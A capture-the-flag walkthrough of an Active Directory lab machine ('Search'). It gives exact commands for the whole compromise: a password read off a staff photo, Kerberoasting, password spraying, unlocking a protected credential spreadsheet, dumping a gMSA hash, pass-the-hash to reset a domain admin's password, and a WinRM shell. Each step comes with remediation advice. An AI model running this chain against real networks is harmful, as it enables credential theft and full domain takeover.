Search
Summary
I identified a Windows Active Directory domain controller (search.htb) running a public IIS website. A staff-gallery photograph on that site contained a handwritten sticky note with a plaintext domain password, yielding the first foothold account (hope.sharp).
With LDAP access, I dumped the directory, Kerberoasted a service account (web_svc), and cracked its hash; that same password was reused on a HelpDesk operator account. The HelpDesk account accessed an SMB share holding a credential spreadsheet whose Excel sheet-protection was bypassed by deleting a single XML tag, revealing Sierra.Frye's password and the user flag.
BloodHound ACL analysis showed Sierra.Frye's membership in the ITSec group, which held ReadGMSAPassword over the group-managed service account BIR-ADFS-GMSA$, and that gMSA in turn held ForceChangePassword over a domain administrator. Chaining those two ACL delegations gave me full domain control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets (<cracked-password>, <gallery-image>, <helpdesk-user>, <share-name>, <spreadsheet>, <web_svc-cracked-password>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Full TCP scan with version detection.
$ nmap -sC -sV -p- --min-rate 5000 -oN nmap-full.txt $TARGETResolve the discovered AD domain to the target IP.
$ echo "$TARGET search.htb" | sudo tee -a /etc/hostsExact commands 2
Download the image containing the handwritten note and OCR it; substitute the actual filename from the gallery page.
$ wget -q 'http://search.htb/<gallery-image>.jpg' -O staff-note.jpg && tesseract staff-note.jpg stdoutValidate the recovered credentials against the domain controller.
$ nxc ldap $TARGET -d search.htb -u 'hope.sharp' -p "$PASSWORD2"FixRemove credentials from publicly visible images and documentsCritical
Exact commands 3
Dump all AD objects to JSON/HTML files for offline analysis.
$ ldapdomaindump -u 'search.htb\hope.sharp' -p "$PASSWORD2" $TARGET -o ldap-dump/Request TGS tickets for all SPN-bearing accounts; save raw hashes.
$ GetUserSPNs.py search.htb/hope.sharp:"$PASSWORD2" -dc-ip $TARGET -request -outputfile kerberoast.txtCrack the Kerberos TGS-REP hash offline to recover web_svc's plaintext password.
$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --forceFixProtect Kerberoastable service accounts with long random passwords or migrate to gMSAHigh
Exact commands 2
Extract HelpDesk group member usernames from the LDAP dump.
$ grep -i 'helpdesk' ldap-dump/domain_users.grep | awk '{print $3}' > helpdesk-users.txtSpray; replace <web_svc-cracked-password> with the hashcat result. Note the account that returns [+].
$ nxc smb $TARGET -d search.htb -u helpdesk-users.txt -p '<web_svc-cracked-password>' --continue-on-successFixEliminate password reuse between service accounts and user accountsHigh
Exact commands 4
Download the protected XLSX; substitute share name, HelpDesk username, password, and filename.
$ smbclient //$TARGET/<share-name> -U 'search.htb/<helpdesk-user>%<cracked-password>' -c 'get <spreadsheet>.xlsx /tmp/creds.xlsx'Unpack the XLSX archive.
$ unzip /tmp/creds.xlsx -d /tmp/xlsx-raw/Strip the protection element; adjust the sheet filename if needed.
$ sed -i 's/<sheetProtection[^/]*\/>//g' /tmp/xlsx-raw/xl/worksheets/sheet1.xmlRezip and open: credentials are now visible in plain text.
$ cd /tmp/xlsx-raw && zip -r /tmp/creds-unlocked.xlsx . && libreoffice --calc /tmp/creds-unlocked.xlsxFixReplace Excel sheet-protection with proper access controls for credential storageHigh
Exact commands 2
Enumerate redirected home directories.
$ smbclient //$TARGET/RedirectedFolders$ -U "search.htb/Sierra.Frye%$PASSWORD" -c 'ls'Retrieve the user flag: displayed -> <user.txt>
$ smbclient //$TARGET/RedirectedFolders$ -U "search.htb/Sierra.Frye%$PASSWORD" -c 'get sierra.frye/Desktop/user.txt /tmp/user.txt' && cat /tmp/user.txtExact commands 3
Collect BloodHound data; import the JSON files into the BloodHound UI and inspect outbound ACL edges from Sierra.Frye and the ITSec group.
$ bloodhound-python -u 'Sierra.Frye' -p "$PASSWORD" -d search.htb -dc $TARGET -c AllRetrieve the BIR-ADFS-GMSA$ NTLM hash via ITSec's ReadGMSAPassword right.
$ python3 gMSADumper.py -u 'Sierra.Frye' -p "$PASSWORD" -d search.htb -l $TARGETAlternative: NetExec --gmsa module returns the same hash.
$ nxc ldap $TARGET -d search.htb -u 'Sierra.Frye' -p "$PASSWORD" --gmsaFixApply least-privilege to gMSA read access and remove write ACLs over administrative accountsCritical
Exact commands 3
Pass-the-hash as the gMSA to force-reset the admin's password; substitute the actual admin account name if different.
$ bloodyAD -u 'BIR-ADFS-GMSA$' -p ":$HASH" -d search.htb --host $TARGET set password Tristan.Davies "$PASSWORD3"Open an interactive WinRM shell as the newly controlled administrator.
$ evil-winrm -i $TARGET -u 'Tristan.Davies' -p "$PASSWORD3"Read the root flag → <root.txt>
$ type C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-15 13:14:14Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: search.htb, Site: Default-First-Site-Name) |
| 443/tcp | ssl/http Microsoft IIS httpd 10.0 |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb, Site: Default-First-Site-Name) |
| 8172/tcp | ssl/unknown |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49667/tcp | unknown recon-sweep-discovered |
| 49693/tcp | unknown recon-sweep-discovered |
| 49694/tcp | unknown recon-sweep-discovered |
| 49709/tcp | unknown recon-sweep-discovered |
| 49726/tcp | unknown recon-sweep-discovered |
| 49746/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.